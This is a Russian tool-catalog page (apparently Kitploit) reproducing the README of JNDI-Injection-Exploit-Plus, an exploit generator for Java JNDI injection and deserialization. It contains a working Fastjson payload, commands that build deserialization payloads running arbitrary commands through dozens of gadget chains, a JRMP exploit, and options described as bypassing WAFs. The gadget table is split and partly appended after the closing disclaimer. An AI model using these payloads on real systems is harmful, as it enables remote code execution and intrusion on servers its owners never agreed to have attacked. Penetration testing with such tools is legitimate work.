Каталог инструментов
Категории
JNDI-Injection-Exploit-Plus — Генерирует рабочие ссылки JNDI-инъекции и полезные нагрузки десериализации с более чем 80 гаджетами, поддерживая серверы RMI, LDAP и HTTP для автоматизированного тестирования уязвимостей. | Kitploit
Инструменты / GitHub / cckuailong / jndi-injection-exploit-plus
cckuailong/jndi-injection-exploit-plus JNDI-Injection-Exploit-Plus Генерирует рабочие ссылки JNDI-инъекции и полезные нагрузки десериализации с более чем 80 гаджетами, поддерживая серверы RMI, LDAP и HTTP для автоматизированного тестирования уязвимостей.
880 114 4 2 лет назадОткройте для себя самые используемые инструменты нашего сообщества.
7 дней 30 дней
JNDI-Injection-Exploit-Plus
中文 README
Описание
JNDI-Injection-Exploit-Plus — это инструмент для генерации рабочих JNDI-ссылок и предоставления фоновых сервисов путём запуска RMI-сервера, LDAP-сервера и HTTP-сервера.
С помощью этого инструмента вы можете получить JNDI-ссылки и вставить их в свой POC для проверки уязвимости.
Например, это Fastjson-эксплоит:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
Мы можем заменить "rmi://127.0.0.1:1099/Object" на ссылку, сгенерированную JNDI-Injection-Exploit-Plus, чтобы проверить уязвимость.
Более того, вы также можете использовать JNDI-Injection-Exploit-Plus для генерации полезных нагрузок в формате base64/hex , как в ysoserial .
JNDI-Injection-Exploit — отличный инструмент, это его расширенная версия.
Что ещё добавлено
1. Больше удалённых JNDI-гаджетов (всего: 3)
2. Больше локальных JNDI-гаджетов (всего: 4) Полезная нагрузка Автор Зависимости Tomcat 8+ или SpringBoot @welk1n trustURLCodebase равен false, но в classpath есть Tomcat 8+ или SpringBoot 1.2.x+ Groovy (GroovyClassLoader) @cckuailong trustURLCodebase равен false, но в classpath есть Tomcat и Groovy Groovy (GroovyShell) @cckuailong trustURLCodebase равен false, но в classpath есть Tomcat и Groovy Websphere Readfile @cckuailong trustURLCodebase равен false, но в classpath есть WebSphere v6-v9
3. Гаджеты десериализации (всего: 75) P.S. Гаджетов больше ( ⬆️ ), чем в ysoserial. Приветствуются PR с новыми! ^_^
Полезная нагрузка Автор Зависимости AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 C3P0Tomcat @yulegeyu tomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11 Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 Clojure @JackOfMostTrades clojure:1.8.0 Coherence1 ⬆️ @cckuailong coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 Coherence2 ⬆️ @cckuailong coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 Coherence3 ⬆️ @cckuailong coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 Coherence4 ⬆️ @cckuailong coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 Coherence5 ⬆️ @cckuailong coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 Coherence6 ⬆️ @cckuailong coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 CommonsBeanutils1 @frohoff commons-beanutils:1.9.2 CommonsBeanutils2 ⬆️ @cckuailong commons-beanutils:1.9.2 CommonsCollections1 @frohoff commons-collections:3.1 CommonsCollections1_1 ⬆️ @cckuailong commons-collections:3.1 CommonsCollections2 @frohoff commons-collections4:4.0 CommonsCollections2_1 ⬆️ @cckuailong commons-collections4:4.0 CommonsCollections3 @frohoff commons-collections:3.1 CommonsCollections3_1 ⬆️ @cckuailong commons-collections:3.1 CommonsCollections4 @frohoff commons-collections4:4.0 CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 CommonsCollections5_1 ⬆️ @cckuailong commons-collections:3.1
4. Генерация и экспорт полезных нагрузок Вы можете создавать полезные нагрузки десериализации с выводом в формате Base64 или HEX.
5. Обёртки Некоторые обёртки для упаковки данных десериализации.
Обёртка Примеры уязвимостей Xstream CVE-2021-39149 Apereo Apereo 4.1 Deserialization RCE JbossRemoting Десериализация через порт Jboss Remoting Gzip Некоторые интерфейсы yonyou используют Gzip Dirty Вставка большого количества «грязных» данных для обхода WAF
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
6. Слияние Сокрытие имени класса для обхода WAF.
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
Веб-сервис для возврата десериализационных гаджетов java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
POST /deserial/{Gadget}
cmd={command}&wrapper={wrapper}output={base64/hex}
P.S. Параметры wrapper и output необязательны.
Использование
JNDI-ссылки $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]
-C — команда, выполняемая в удалённом class-файле.
(необязательно, по умолчанию "open /Applications/Calculator.app")
-A — адрес вашего сервера, может быть IP-адресом или доменом.
(необязательно, по умолчанию адрес первого сетевого интерфейса)
Убедитесь, что порты вашего сервера (1099 , 1389 , 8180 ) доступны.
Или вы можете изменить порты по умолчанию в классе run.ServerStart.
Ваша команда передаётся в Runtime.getRuntime().exec() в качестве параметров,
поэтому убедитесь, что ваша команда работоспособна внутри метода exec().
Команды в стиле bash, например "bash -c ....", необходимо заключать в двойные кавычки.
Полезные нагрузки десериализации $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
-C — команда, выполняемая в удалённом class-файле.
(необязательно, по умолчанию "open /Applications/Calculator.app")
-D — имя полезной нагрузки десериализационного гаджета.
-O — (необязательно) тип вывода десериализации, по умолчанию base64
Эксплоиты десериализации
JRMP java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
Примеры
JNDI-ссылки
Запустите инструмент следующим образом:
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
Скриншот:
Предположим, мы внедряем JNDI-ссылку, например rmi://ADDRESS/remoteExploit8, сгенерированную на шаге 1, в уязвимое приложение, которое можно атаковать с помощью JNDI-инъекции.
В этом примере это выглядит так:
class Test{
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
}
}
После запуска этого кода команда выполнится,
а в консоли будет выведен лог:
Полезные нагрузки десериализации $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
Результат в формате Base64:
Установка Вы можете выбрать один из двух способов получения jar-файла.
Скачайте последний jar из Релизов .
Клонируйте исходный код локально и соберите (требуется Java 1.8+ и Maven 3.x+).
$ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
$ cd JNDI-Injection-Exploit-Plus
$ mvn clean package -DskipTests
P.S . ‼️ Если вы получили ошибку вида "java.rmi.xxx does not exists", установите переменную окружения JAVA_HOME.
Отказ от ответственности Вся информация и код предоставляются исключительно в образовательных целях и/или для тестирования ваших собственных систем на наличие этих уязвимостей.
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections6_1 ⬆️ @cckuailong commons-collections:3.1
CommonsCollections6_2 ⬆️ @cckuailong commons-collections:3.1
CommonsCollections6_3 ⬆️ @cckuailong commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
CommonsCollections7_1 ⬆️ @cckuailong commons-collections:3.1
CommonsCollections8 ⬆️ @cckuailong commons-collections4:4.0
CommonsCollections9 ⬆️ @cckuailong commons-collections:3.2.1
CommonsCollections10 ⬆️ @cckuailong commons-collections:3.2.1
CommonsCollections11 ⬆️ @cckuailong commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Jackson ⬆️ @y4er com.fasterxml.jackson.core:jackson-databind:2.14.2
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient2 ⬆️ @cckuailong
JRMPClient3 ⬆️ @cckuailong
JRMPClient4 ⬆️ @cckuailong
JRMPClient5 ⬆️ @cckuailong
JRMPClient6 ⬆️ @cckuailong
JSON1 @mbechler json-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
ROME2 ⬆️ @firebasky rome:1.0
Scala1 ⬆️ @jarij org.scala-lang:scala-library:2.13.x
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 ⬆️ @cckuailong spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS @gebl только обнаружение уязвимости JRE
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Weblogic1 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic2 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic3 ⬆️ @cckuailong com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
Weblogic4 ⬆️ @cckuailong weblogic.common.internal.WLObjectOutputStream
Weblogic5 ⬆️ @cckuailong weblogic:12.2.1.4, coherence
Weblogic6 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic7 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic8 ⬆️ @cckuailong weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic9 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic10 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic11 ⬆️ @cckuailong weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
WildFly1 ⬆️ @hugow org.wildfly:wildfly-connector:26.0.1.Final